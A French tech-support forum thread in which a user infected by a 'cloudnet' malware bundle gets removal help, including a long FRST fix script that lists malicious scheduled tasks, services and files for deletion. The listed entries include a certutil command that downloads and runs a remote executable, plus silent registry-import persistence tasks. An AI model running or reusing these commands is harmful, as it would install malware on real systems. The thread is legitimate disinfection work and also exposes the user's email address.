J'ai installer le virus cloudnet Résolu

Question

Je suis désolée de vous déranger mais j'ai un très gros problème en voulant installer une application j'ai désactiver windows defender et depuis je me retrouve avec un virus nomé cloudnet j'ai tout essayer même de réinitialiser mon ordinateur mais à chaque fois une erreur survient quand je 
Veut le désinstaller depuis les programmes une page noir avec marquer des mots en russe apparais donc impossible de le désinstaller, merci davance

Kuro

Malekal_morte- · Answer

Bonjour,


 Pour vérifier ton ordinateur, pour d'éventuels infections et avoir un état général du système :

Suis le tutoriel FRST en cliquant sur ce lien bleu. ( prends le temps de lire attentivement - tout y est bien expliqué ).

Télécharge et lance le scan FRST, 
Attendre la fin du scan, un message indique que l'analyse est terminée.

Trois rapports FRST seront générés :

 FRST.txt
 Shortcut.
 Additionnal.txt

Envoie ces 3 rapports sur le site https://pjjoint.malekal.com/ et en retour donne les 3 liens pjjoint qui mènent aux rapports ici dans une nouvelle réponse afin que l'on puisse les consulter.

(Les liens bleus mènent à des tutoriels explicatifs pas à pas, clic dessus pour avoir les instructions plus précises à suivre).

KuroPro · Answer

Mais si je met un nouveau disque dur sans Windows dans mon pc comment je fais pour le récupérer car j'ai pas les moyens de payer Windows mais j'ai un disque dur vierge je n'ai pas de donnes importantes sur mon ordinateur

KuroPro · Answer

https://pjjoint.malekal.com/files.php?id=FRST_20190206_y8x6g7e13i15

https://pjjoint.malekal.com/files.php?id=20190206_k7e99g13d10

https://pjjoint.malekal.com/files.php?id=20190206_w10q6w15z9t7

Voila ce que vous m'avez demander

Malekal_morte- · Answer

Tu as des programmes qui ont été installés à l'achat de l'ordinateur ou installés par la suite et qui sont pas forcément utiles.
Ils encombrent Windows et peuvent le ralentir.
Tu peux donc les désinstaller.
Vas dans le Panneau de configuration
puis programmes et fonctionnalités.
Désinstalle :

Avast SecureLine for Asustek
Dropbox (sauf si tu synchronises)
McAfee LiveSafe
McAfee WebAdvisor
WebStorage
WildTangent Games App

PS : CCleaner n'est pas vraiment utile, même si on le recommande de partout.
Si tu veux le garder, désactive la surveillance de CCleaner, inutile, ça se met au démarrage de Windows et le ralentit avec ces nettoyages incessants, voir : https://www.malekal.com/supprimer-ccleaner-demarrage-windows/

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.


Start
CloseProcesses:
CreateRestorePoint:
cnAogoc4xpp6dxUtVBwRZJnu7rsdN_u_WPdI5vYwcZKYoY_KMh239LLkta6eW_rFFEUeCZrOIYcwMEOQ9kpp2QI8kXO&q={searchTerms}
BHO: YoutubeAdBlock -> {0AA83778-BEDD-4855-A8FE-CE2EA58563FD} -> C:\Program Files (x86)\PUGpcyhepIE\tVBbwsp.dll [2019-02-06] ()
 BHO-x32: YoutubeAdBlock -> {E81D3BD4-0E3E-4B58-BEC1-F3791DAA11A8} -> C:\Program Files (x86)\GAYTRwneoIE\khA4is6.dll [2019-02-05] () 
  R2 WCAssistantService; C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe [25888 2019-02-02] (Lavasoft Limited -> ) 
  R2 ODAzZDIxMmQzY; C:\WINDOWS\mbzsard.sbz [1447424 2019-01-27] () [Fichier non signé] 
   U2 MTNlY2; C:\Program Files\MTNlY2\YzU3YTBhZWFlNDI5M.exe [1756160 2019-01-27] () [Fichier non signé] 
    R2 backlh; C:\ProgramData\Logic Cramble\set.exe [3780096 2019-01-27] () [Fichier non signé] <==== ATTENTION 
	R1 Y2MxNzkzMGY1Mzk3N; \??\C:\WINDOWS\system32\drivers\Y2MxNzkzMGY1Mzk3N [X]
Task: {04BA5998-2189-47C0-8160-6565D188D688} - System32\Tasks\psv_TamFix => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Donplus.reg" & del "C:\ProgramData\Quoteex\Donplus.reg" & SCHTASKS /Delete /TN "psv_TamFix" /F <==== ATTENTION
Task: {0569EEE3-7617-4A64-A90D-82B6BF2B50D1} - System32\Tasks\McAfeeLogon => C:\Program Files\Common Files\McAfee\platform\McUICnt.exe [2018-02-28] (McAfee, Inc. -> McAfee, Inc.)
Task: {0A1B1959-E341-4383-9CF4-AAD3BD8AECB3} - \unleavenedunleavened -> Pas de fichier <==== ATTENTION
"C:\Windows\System32\Tasks\McAfee\McAfee Idle Detection Task" a été déverrouillé. <==== ATTENTION
Task: {0AD3313A-BDDD-48EA-AADF-DCF5E883E0CF} - System32\Tasks\McAfee\McAfee Idle Detection Task
Task: {0E377FE3-1AD5-418D-9926-48053E082CBA} - System32\Tasks\RimJXBliJExDU2 => C:\WINDOWS\system32\wscript.exe "C:\ProgramData\XpWMyIjGIldBqVVB\luDfpCH.wsf"
Task: {0F8DBAFB-23BE-4756-B07C-063407F85BF1} - System32\Tasks\LZTxYsBfcmMnUTAiHFq2 => rundll32 "C:\Program Files (x86)\jrypiIuuEdKwC\VjABcyK.dll",#1
Task: {121025BA-3C9F-438F-8417-9A0C1F70993B} - System32\Tasks\WebDiscover Browser Launch Task => C:\Program Files\WebDiscoverBrowser\4.28.2\browser.exe [2018-07-17] (web discover -> WebDiscover Media) <==== ATTENTION
Task: {132632B2-1D45-4278-A687-2BD8B8DA0892} - System32\Tasks\psv_Inchtrax => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\UnoCof.reg" & del "C:\ProgramData\Quoteex\UnoCof.reg" & SCHTASKS /Delete /TN "psv_Inchtrax" /F <==== ATTENTION
Task: {153DE826-263D-49FF-9531-AE0E1CE0796E} - System32\Tasks\psv_Danplus => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\TranSonity.reg" & del "C:\ProgramData\Quoteex\TranSonity.reg" & SCHTASKS /Delete /TN "psv_Danplus" /F <==== ATTENTION
Task: {154B61C5-40D1-4249-8BF2-9A82F3B10106} - System32\Tasks\psv_Tinlight => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Namtop.reg" & del "C:\ProgramData\Quoteex\Namtop.reg" & SCHTASKS /Delete /TN "psv_Tinlight" /F <==== ATTENTION
Task: {2207C96C-754D-4CCB-8B82-226FBA34830B} - System32\Tasks\WebDiscover Browser Update Task => C:\Program Files\WebDiscoverBrowser\4.28.2\browser.exe [2018-07-17] (web discover -> WebDiscover Media) <==== ATTENTION
Task: {25B32ABB-EC19-4408-B8C6-21448F8AEF15} - System32\Tasks\psv_DomTraxtouch => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Hotcof.reg" & del "C:\ProgramData\Quoteex\Hotcof.reg" & SCHTASKS /Delete /TN "psv_DomTraxtouch" /F <==== ATTENTION
Task: {2BDB1FE3-5AB9-465A-9285-D406B659D4C7} - System32\Tasks\psv_Driphome => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Duofind.reg" & del "C:\ProgramData\Quoteex\Duofind.reg" & SCHTASKS /Delete /TN "psv_Driphome" /F <==== ATTENTION
Task: {32EC7FD2-9DE8-4C39-973E-870E0989A9D3} - System32\Tasks\Chameleon Folder-alpha => "C:\Program Files (x86)\Chameleon Explorer\ChameleonFolder.exe" 
Task: {38C5DD5F-3087-4E17-A135-330611A10D8A} - System32\Tasks\LnSMXTsDsbzuys => rundll32 "C:\Program Files (x86)\WnROjdEinRbU2\IrvHbOfcsAcEK.dll",#1
Task: {3A6DC258-0235-4B8F-8FF1-94697FB2BD09} - System32\Tasks\jlMIvUDlqqWHW2 => C:\WINDOWS\system32\wscript.exe "C:\ProgramData\FdCWEDqqlKJJtvVB\qHCSuMP.wsf"
Task: {3B323ACB-3B5F-4203-BD6E-2EFB46F3FB2A} - System32\Tasks\csrss => C:\WINDOWS\rss\csrss.exe [2019-01-27] (CreateFileW function failed -> ) <==== ATTENTION
Task: {3B87F494-BD59-4580-AD28-009475BA92AA} - System32\Tasks\Online Application V2G4 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {3C247934-FAB1-4AE3-98AD-23A6916DAB89} - System32\Tasks\WAEBxyJePXzHCWqdB2 => rundll32 "C:\Program Files (x86)\sdTgmoxXoaahhwmevSR\tJggUPi.dll",#1
Task: {3C8CF5B1-33C0-4CE5-A8A7-9315B67C923B} - System32\Tasks\gDmkMJnSTUxlqBnLhHL2 => rundll32 "C:\Program Files (x86)\engGZVhOjSquC\SqgOfya.dll",#1
Task: {49B8414B-3025-4CD4-829B-4B506A5765CB} - System32\Tasks\coQxHsTqvcmEwws2 => rundll32 "C:\Program Files (x86)\QVphpaDfU\yyEFMu.dll",#1
Task: {4D881052-18FD-46F0-8093-1D454F24DF02} - System32\Tasks\Online Application V2G6 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {53EB647E-1CE9-41DF-8C88-A98F4B29F575} - System32\Tasks\Online Application V2G3 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {552E9795-29AA-4F8A-8E85-7820EE90E026} - System32\Tasks\psv_Suntouch => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Aptofind.reg" & del "C:\ProgramData\Quoteex\Aptofind.reg" & SCHTASKS /Delete /TN "psv_Suntouch" /F <==== ATTENTION
Task: {5D5D465A-C305-405F-8ACC-7192131E526C} - System32\Tasks\psv_Unais => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\DongFlex.reg" & del "C:\ProgramData\Quoteex\DongFlex.reg" & SCHTASKS /Delete /TN "psv_Unais" /F <==== ATTENTION
Task: {613273DF-9438-43BF-AF8A-513EF0581D3F} - System32\Tasks\ZFRWoJuqUrHKuF => rundll32 "C:\Program Files (x86)\EhWIjnqheYmU2\AySyZEKFvMWuE.dll",#1
Task: {61E2C6CA-6907-45BA-8EF6-E538C046B320} - System32\Tasks\psv_MoveSolfresh => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Blackcore.reg" & del "C:\ProgramData\Quoteex\Blackcore.reg" & SCHTASKS /Delete /TN "psv_MoveSolfresh" /F <==== ATTENTION
Task: {65B6A922-D52E-4422-95C6-D4E95F619176} - System32\Tasks\psv_Sil-Job => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Kayfix.reg" & del "C:\ProgramData\Quoteex\Kayfix.reg" & SCHTASKS /Delete /TN "psv_Sil-Job" /F <==== ATTENTION
Task: {68691226-484B-4974-9DF5-2AF853C8FC48} - System32\Tasks\fearfully_salamifearfully_salami => C:\Program Files (x86)\Reck\Heads.exe [2019-01-27] ()
Task: {69A883D7-DAC0-4213-A08C-B3ED24BF8575} - System32\Tasks\psv_ZimNamtex => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Triodax.reg" & del "C:\ProgramData\Quoteex\Triodax.reg" & SCHTASKS /Delete /TN "psv_ZimNamtex" /F <==== ATTENTION
Task: {6AF9CA9B-786E-4622-A0FC-CAEDC4AD6EC2} - System32\Tasks\psv_Transdox => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\DonTinfix.reg" & del "C:\ProgramData\Quoteex\DonTinfix.reg" & SCHTASKS /Delete /TN "psv_Transdox" /F <==== ATTENTION
Task: {7990B339-E3A9-4136-A9F6-54F672AFF52F} - System32\Tasks\psv_Opehatit => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\San-Fax.reg" & del "C:\ProgramData\Quoteex\San-Fax.reg" & SCHTASKS /Delete /TN "psv_Opehatit" /F <==== ATTENTION
Task: {7F4255B1-1BA5-4A2A-A9E1-DFE170955592} - System32\Tasks\psv_Bluetop => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Qvo-Dex.reg" & del "C:\ProgramData\Quoteex\Qvo-Dex.reg" & SCHTASKS /Delete /TN "psv_Bluetop" /F <==== ATTENTION
Task: {848649E9-4DC9-46EB-984D-E8611D98323E} - System32\Tasks\McAfee\DAD.Execute.Updates => C:\Program Files\Common Files\McAfee\DynamicAppDownloader\1.1.194\DADUpdater.exe [2018-12-07] (McAfee, Inc. -> McAfee, Inc.)
Task: {8C2504D6-54FA-41FE-9250-6878BF55E7A2} - System32\Tasks\baseboards lauritz callousedbaseboards lauritz calloused => C:\Users\alpha\AppData\Local\Heads.exe [2019-01-27] ()
Task: {8E271064-29E2-432E-8111-9AED0404F2D2} - System32\Tasks\psv_Zerla => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Tonzamtough.reg" & del "C:\ProgramData\Quoteex\Tonzamtough.reg" & SCHTASKS /Delete /TN "psv_Zerla" /F <==== ATTENTION
Task: {91BBB52E-2628-4DFD-94AE-B51A65178201} - System32\Tasks\psv_Yearfresh => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\ZooHome.reg" & del "C:\ProgramData\Quoteex\ZooHome.reg" & SCHTASKS /Delete /TN "psv_Yearfresh" /F <==== ATTENTION
Task: {933DDA16-2D2C-4718-B130-AB68E656720F} - System32\Tasks\addled_speyeraddled_speyer => C:\Users\alpha\AppData\Local\Workflow.exe [2019-01-27] ()
Task: {9EA7B00C-F01E-414C-9659-84419406CA49} - System32\Tasks\Online Application V2G1 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {A1ACF652-6391-4DDE-93CE-DE61E1FA458E} - System32\Tasks\DCijqFnZPCjuDCrhX2 => rundll32 "C:\Program Files (x86)\AbBnXilLbArOqAtIbSR\GCPvhHt.dll",#1
Task: {A5C50EE5-43FB-4C66-A6C0-CD8A9CCC3A9D} - System32\Tasks\ScheduledUpdate => cmd.exe /C certutil.exe -urlcache -split -f hxxp://andreysharanov.info/app/app.exe C:\Users\alpha\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\alpha\AppData\Local\Temp\csrss\scheduled.exe /31340 <==== ATTENTION
Task: {A71A2008-0A14-43CC-9FC8-BAC5D50B4063} - System32\Tasks\Online Application V2G5 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {B114B622-B0D1-44E6-9E38-6B17C7F6B834} - System32\Tasks\parametric censorsparametric censors => C:\Program Files (x86)\Reck\Workflow.exe [2019-01-27] ()
Task: {B93ADF3A-2754-47FE-A665-25CCB45C05E0} - System32\Tasks\psv_MedSaildom => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\MedZamstock.reg" & del "C:\ProgramData\Quoteex\MedZamstock.reg" & SCHTASKS /Delete /TN "psv_MedSaildom" /F <==== ATTENTION
Task: {B973BE10-BDE6-460E-9D68-686B76D53A9D} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-alpha.sharki444@gmail.com => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe
Task: {BDB19FE6-E241-474B-B9D5-39B71B8C57D7} - System32\Tasks\Opera scheduled Autoupdate 2796787680 => C:\Users\alpha\AppData\Roaming\Microsoft\Windows\jirbbdij\dathgjii.exe [2018-12-08] ()
Task: {C78E4BFA-2C41-4D35-8078-2B78E10409DA} - System32\Tasks\nganga => C:\Program Files (x86)\indestructibility\indestructibility.exe [2019-01-27] ()
Task: {D16B3918-4146-48ED-A82A-595F45CEE2A7} - System32\Tasks\psv_Singlelab => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Stockotsing.reg" & del "C:\ProgramData\Quoteex\Stockotsing.reg" & SCHTASKS /Delete /TN "psv_Singlelab" /F <==== ATTENTION
Task: {D8272B41-4366-43FE-8B99-699F1572CF4C} - System32\Tasks\psv_Onto-Job => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Lamkix.reg" & del "C:\ProgramData\Quoteex\Lamkix.reg" & SCHTASKS /Delete /TN "psv_Onto-Job" /F <==== ATTENTION
Task: {DA04264F-F3F1-4118-9039-6A947419DD68} - System32\Tasks\psv_Nam-Fix => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\La-Fresh.reg" & del "C:\ProgramData\Quoteex\La-Fresh.reg" & SCHTASKS /Delete /TN "psv_Nam-Fix" /F <==== ATTENTION
Task: {DAE05306-CA8F-4951-89D6-2D977A9F8C3E} - System32\Tasks\Online Application V2G2 => C:\Program Files (x86)\Microleaves\Online Application\Version 2.6.0\Online-Guardian.exe [2017-11-02] (MICROLEAVES LTD -> ) <==== ATTENTION
Task: {DAEC18DF-ED45-48FB-B5DB-C9A511B5A581} - System32\Tasks\stirringstirring => C:\Program Files (x86)\Gass\Heads.exe [2019-01-27] ()
Task: {DB7FC8FF-B048-40D7-9C58-41E6A9C16399} - System32\Tasks\psv_Geocom => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Tripplefresh.reg" & del "C:\ProgramData\Quoteex\Tripplefresh.reg" & SCHTASKS /Delete /TN "psv_Geocom" /F <==== ATTENTION
Task: {E9E77229-B23C-46D4-AB9A-B92625998200} - System32\Tasks\krWZecVcHthlHtU2 => rundll32 "C:\Program Files (x86)\ZVeopYgoU\rHOcAE.dll",#1
Task: {ECB25474-FCA4-4156-AB80-42A3C4AE3977} - System32\Tasks\lameness-exceptionallylameness-exceptionally => C:\Program Files (x86)\morgans\Workflow.exe [2019-01-27] ()
Task: {F3C2346C-F756-4009-B6D4-5B46C0A87B8A} - System32\Tasks\Updater_Online_Application => C:\Program Files (x86)\Microleaves\Online Application\Online Application Updater.exe [2017-11-02] (MICROLEAVES LTD -> Microleaves) <==== ATTENTION
Task: {F4F413A4-242F-4C5D-A59B-C9659ECD3F89} - System32\Tasks\psv_Vivaeco => cmd.exe /c regedit.exe /s "C:\ProgramData\Quoteex\Tipsing.reg" & del "C:\ProgramData\Quoteex\Tipsing.reg" & SCHTASKS /Delete /TN "psv_Vivaeco" /F <==== ATTENTION
Task: {F89C29DC-D1F8-4D03-A9EB-D9CA84581EA6} - System32\Tasks\avast! SL Update => C:\Program Files\AVAST Software\SecureLine\SLUpdate.exe [2018-08-27] (AVAST Software a.s. -> AVAST Software)
	2019-02-06 13:36 - 2019-02-06 13:51 - 000000000 ____D C:\Users\alpha\AppData\LocalLow\qIndPPyRwNhxH
2019-02-06 13:36 - 2019-02-06 13:36 - 000004128 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{CD08624F-2323-47DA-9B47-3FE7E1A3CF69}
2019-02-06 13:36 - 2019-02-06 13:36 - 000000000 ____D C:\Users\alpha\AppData\LocalLow\HyIGszGGbZErD
2019-02-06 13:34 - 2019-02-06 13:34 - 000000000 ____D C:\ProgramData\FdCWEDqqlKJJtvVB
2019-02-06 13:34 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\sdTgmoxXoaahhwmevSR
2019-02-06 13:34 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\PUGpcyhepIE
2019-02-06 13:34 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\engGZVhOjSquC
2019-02-06 13:34 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\EhWIjnqheYmU2
2019-02-06 13:33 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\QVphpaDfU
2019-02-06 13:33 - 2019-02-06 13:33 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\McAfee
2019-02-06 13:30 - 2019-02-06 13:30 - 000003322 _____ C:\WINDOWS\System32\Tasks\psv_Inchtrax
2019-02-06 10:15 - 2019-02-06 10:15 - 000172544 _____ C:\ProgramData\helper.exe
2019-02-06 07:39 - 2019-02-06 07:39 - 000000000 ___HD C:\
2019-02-06 07:20 - 2019-02-06 07:20 - 000003330 _____ C:\WINDOWS\System32\Tasks\psv_ZimNamtex
2019-02-06 07:17 - 2019-02-06 07:17 - 000003152 _____ C:\WINDOWS\System32\Tasks\bkuvomyXsaciUXEHaUr
2019-02-06 07:17 - 2019-02-06 07:17 - 000000606 _____ C:\WINDOWS\Tasks\bkuvomyXsaciUXEHaUr.job
2019-02-06 07:16 - 2019-02-06 07:31 - 000585512 _____ (ball book TUBE hold FEBRUARY QUEEN<) C:\Users\alpha\AppData\Roaming\Bermuda.exe
2019-02-06 07:16 - 2019-02-06 07:31 - 000411839 _____ (KARPOLAN) C:\Users\alpha\AppData\Roaming\killmuself.exe
2019-02-06 07:14 - 2019-02-06 07:14 - 000003322 _____ C:\WINDOWS\System32\Tasks\psv_Tinlight
2019-02-05 23:54 - 2019-02-05 23:54 - 000003330 _____ C:\WINDOWS\System32\Tasks\psv_Yearfresh
2019-02-05 23:48 - 2019-02-05 23:48 - 000000000 _____ C:\Recovery.txt
2019-02-05 21:38 - 2019-02-05 21:38 - 000000000 ___HD C:\.~WS
2019-02-05 21:35 - 2019-02-05 21:35 - 000003334 _____ C:\WINDOWS\System32\Tasks\psv_Transdox
2019-02-05 21:30 - 2019-02-05 21:30 - 000003326 _____ C:\WINDOWS\System32\Tasks\psv_Driphome
2019-02-05 21:22 - 2019-02-05 21:23 - 019648448 _____ (Microsoft Corporation) C:\Users\alpha\Desktop\W10-MediaCreationTool-64bits.exe
2019-02-05 21:04 - 2019-02-06 13:33 - 000000000 ____D C:\Users\alpha\AppData\Roaming\MaxiBuy
2019-02-05 21:04 - 2019-02-05 21:04 - 000000000 ____D C:\Users\alpha\AppData\Roaming\Python
2019-02-05 21:02 - 2019-02-05 21:02 - 000003338 _____ C:\WINDOWS\System32\Tasks\psv_Geocom
2019-02-05 19:51 - 2019-02-05 21:43 - 000000000 ____D C:\.~BT
2019-02-05 19:25 - 2019-02-06 13:34 - 000003034 _____ C:\WINDOWS\System32\Tasks\WAEBxyJePXzHCWqdB2
2019-02-05 19:25 - 2019-02-06 13:34 - 000003026 _____ C:\WINDOWS\System32\Tasks\gDmkMJnSTUxlqBnLhHL2
2019-02-05 19:23 - 2019-02-05 19:23 - 000003326 _____ C:\WINDOWS\System32\Tasks\psv_Nam-Fix
2019-02-05 18:57 - 2019-02-06 13:34 - 000003212 _____ C:\WINDOWS\System32\Tasks\ZFRWoJuqUrHKuF
2019-02-05 18:57 - 2019-02-06 13:34 - 000003044 _____ C:\WINDOWS\System32\Tasks\jlMIvUDlqqWHW2
2019-02-05 18:57 - 2019-02-06 13:34 - 000003008 _____ C:\WINDOWS\System32\Tasks\coQxHsTqvcmEwws2
2019-02-05 18:56 - 2019-02-05 18:56 - 014702592 _____ C:\Users\alpha\uhvyaayl.exe
2019-02-05 18:56 - 2019-02-05 18:56 - 000003866 _____ C:\WINDOWS\System32\Tasks\WebDiscover Browser Update Task
2019-02-05 18:56 - 2019-02-05 18:56 - 000003358 _____ C:\WINDOWS\System32\Tasks\WebDiscover Browser Launch Task
2019-02-05 18:55 - 2019-02-06 13:40 - 000003572 _____ C:\WINDOWS\System32\Tasks\Opera scheduled Autoupdate 2796787680
2019-02-05 18:55 - 2019-02-06 13:31 - 000000000 ____D C:\Program Files (x86)\SmartData
2019-02-05 18:55 - 2019-02-05 18:55 - 000003212 _____ C:\WINDOWS\System32\Tasks\LnSMXTsDsbzuys
2019-02-05 18:55 - 2019-02-05 18:55 - 000003044 _____ C:\WINDOWS\System32\Tasks\RimJXBliJExDU2
2019-02-05 18:55 - 2019-02-05 18:55 - 000003034 _____ C:\WINDOWS\System32\Tasks\DCijqFnZPCjuDCrhX2
2019-02-05 18:55 - 2019-02-05 18:55 - 000003026 _____ C:\WINDOWS\System32\Tasks\LZTxYsBfcmMnUTAiHFq2
2019-02-05 18:55 - 2019-02-05 18:55 - 000003008 _____ C:\WINDOWS\System32\Tasks\krWZecVcHthlHtU2
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\ProgramData\XpWMyIjGIldBqVVB
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\ZVeopYgoU
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\WnROjdEinRbU2
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\oTNoOKnGEBUn
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\jrypiIuuEdKwC
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\GAYTRwneoIE
2019-02-05 18:55 - 2019-02-05 18:55 - 000000000 ____D C:\Program Files (x86)\AbBnXilLbArOqAtIbSR
2019-02-05 18:54 - 2019-02-06 13:31 - 000011264 _____ C:\Users\alpha\AppData\Local\i5ofqt.dll
2019-02-05 18:54 - 2019-02-05 18:54 - 000003350 _____ C:\WINDOWS\System32\Tasks\psv_MoveSolfresh
2019-02-05 18:54 - 2019-02-05 18:54 - 000003338 _____ C:\WINDOWS\System32\Tasks\psv_DomTraxtouch
2019-02-05 18:54 - 2019-02-05 18:54 - 000003318 _____ C:\WINDOWS\System32\Tasks\psv_Sil-Job
2019-02-02 17:00 - 2019-02-02 17:00 - 000016384 _____ C:\Users\alpha\AppData\Local\l9ofdt.dll
2019-02-02 16:58 - 2019-02-02 16:58 - 000003318 _____ C:\WINDOWS\System32\Tasks\psv_TamFix
2019-02-02 16:29 - 2019-02-02 16:29 - 000000254 _____ C:\WINDOWS\Tasks\Chameleon Folder-alpha.job
2019-02-02 16:27 - 2019-02-05 21:15 - 000000214 _____ C:\WINDOWS\Tasks\CreateExplorerShellUnelevatedTask.job
2019-02-02 16:17 - 2019-02-02 16:17 - 000000000 ____D C:\WINDOWS\pss
2019-02-02 16:15 - 2019-02-02 16:15 - 000003350 _____ C:\WINDOWS\System32\Tasks\psv_MedSaildom
2019-02-02 16:15 - 2019-02-02 16:15 - 000003322 _____ C:\WINDOWS\System32\Tasks\psv_Bluetop
2019-02-02 16:14 - 2019-02-02 16:14 - 000003322 _____ C:\WINDOWS\System32\Tasks\psv_Vivaeco
2019-02-02 14:03 - 2019-02-06 13:34 - 000000000 ____D C:\Program Files (x86)\QQjHtqooatUn
2019-02-02 14:03 - 2019-02-02 16:56 - 000000000 ____D C:\Program Files (x86)\Chameleon Explorer
2019-02-02 14:03 - 2019-02-02 16:16 - 000000000 ____D C:\Users\alpha\Documents\Chameleon files
2019-02-02 14:03 - 2019-02-02 14:03 - 000002980 _____ C:\WINDOWS\System32\Tasks\Chameleon Folder-alpha
2019-02-02 14:02 - 2019-02-02 14:02 - 006860752 _____ C:\Users\alpha\AppData\Roaming\cbargat.exe.E
2019-02-02 14:02 - 2019-02-02 14:02 - 006860752 _____ (NeoSoft Tools ) C:\Users\alpha\AppData\Roaming\cbargat.exe
2019-02-02 14:02 - 2019-02-02 14:02 - 001495552 _____ C:\Users\alpha\AppData\Roaming\lakric.exe.E
2019-02-02 14:02 - 2019-02-02 14:02 - 001495552 _____ (ZONER software) C:\Users\alpha\AppData\Roaming\lakric.exe
2019-02-02 14:02 - 2019-02-02 14:02 - 000000000 ____D C:\ProgramData\{8E05CCE8-5228-5D78-504F-FBD150A8A280}
2019-02-02 14:02 - 2019-02-02 14:02 - 000000000 ____D C:\ProgramData\{3EE98971-17B1-ED94-C90A-1761C9ED4E30}
2019-02-02 14:01 - 2019-02-02 14:01 - 000016384 _____ C:\Users\alpha\AppData\Local\dnolk8.dll
2019-01-27 19:35 - 2019-01-27 19:35 - 000000000 ____D C:\Users\lorie\AppData\Roaming\Macromedia
2019-01-27 19:33 - 2019-01-27 19:33 - 000000000 ____D C:\Users\lorie\AppData\Local\WebDiscoverBrowser
2019-01-27 19:32 - 2019-01-27 19:32 - 000003318 _____ C:\WINDOWS\System32\Tasks\psv_Unais
2019-01-27 19:32 - 2019-01-27 19:32 - 000000000 ____D C:\Users\lorie\AppData\Roaming\Mozilla
2019-01-27 19:31 - 2019-01-27 19:31 - 000000290 __RSH C:\Users\lorie\ntuser.pol
2019-01-27 18:19 - 2019-02-06 07:44 - 000000000 ____D C:\Program Files (x86)\ProxyGate
2019-01-27 18:18 - 2019-02-02 17:03 - 000000000 ____D C:\Users\alpha\AppData\Roaming\EpicNet Inc
2019-01-27 18:18 - 2019-01-27 18:18 - 000000000 ____D C:\Users\alpha\AppData\Local\WebDiscoverBrowser
2019-01-27 18:17 - 2019-01-27 18:17 - 001435136 ____H C:\WINDOWS\windefender.exe
2019-01-27 18:15 - 2019-02-05 19:14 - 000003598 _____ C:\WINDOWS\System32\Tasks\ScheduledUpdate
2019-01-27 18:13 - 2019-02-06 13:30 - 000000290 __RSH C:\Users\alpha\ntuser.pol
2019-01-27 18:13 - 2019-01-27 18:13 - 000003346 _____ C:\WINDOWS\System32\Tasks\psv_Singlelab
2019-01-27 18:12 - 2019-02-06 07:32 - 000000290 __RSH C:\ProgramData\ntuser.pol
2019-01-27 18:11 - 2019-02-06 07:43 - 088866816 _____ C:\WINDOWS\system32\config\SOFTWARE
2019-01-27 18:02 - 2019-01-27 18:11 - 000000000 ____D C:\WINDOWS\Microsoft Antimalware
2019-01-27 18:01 - 2019-02-06 13:33 - 000000000 ____D C:\Program Files\WebDiscoverBrowser
2019-01-27 18:00 - 2019-02-05 19:14 - 000003270 _____ C:\WINDOWS\System32\Tasks\csrss
2019-01-27 18:00 - 2019-01-27 18:00 - 000000000 ___HD C:\WINDOWS\rss
2019-01-27 17:59 - 2019-01-27 19:41 - 000000000 ____D C:\Program Files (x86)\Multitimer
2019-01-27 17:59 - 2019-01-27 17:59 - 000000000 ____D C:\Program Files (x86)\SlowMotion 
2019-01-27 17:57 - 2019-01-27 18:14 - 000016384 _____ C:\Users\alpha\AppData\Local\drolk1.dll
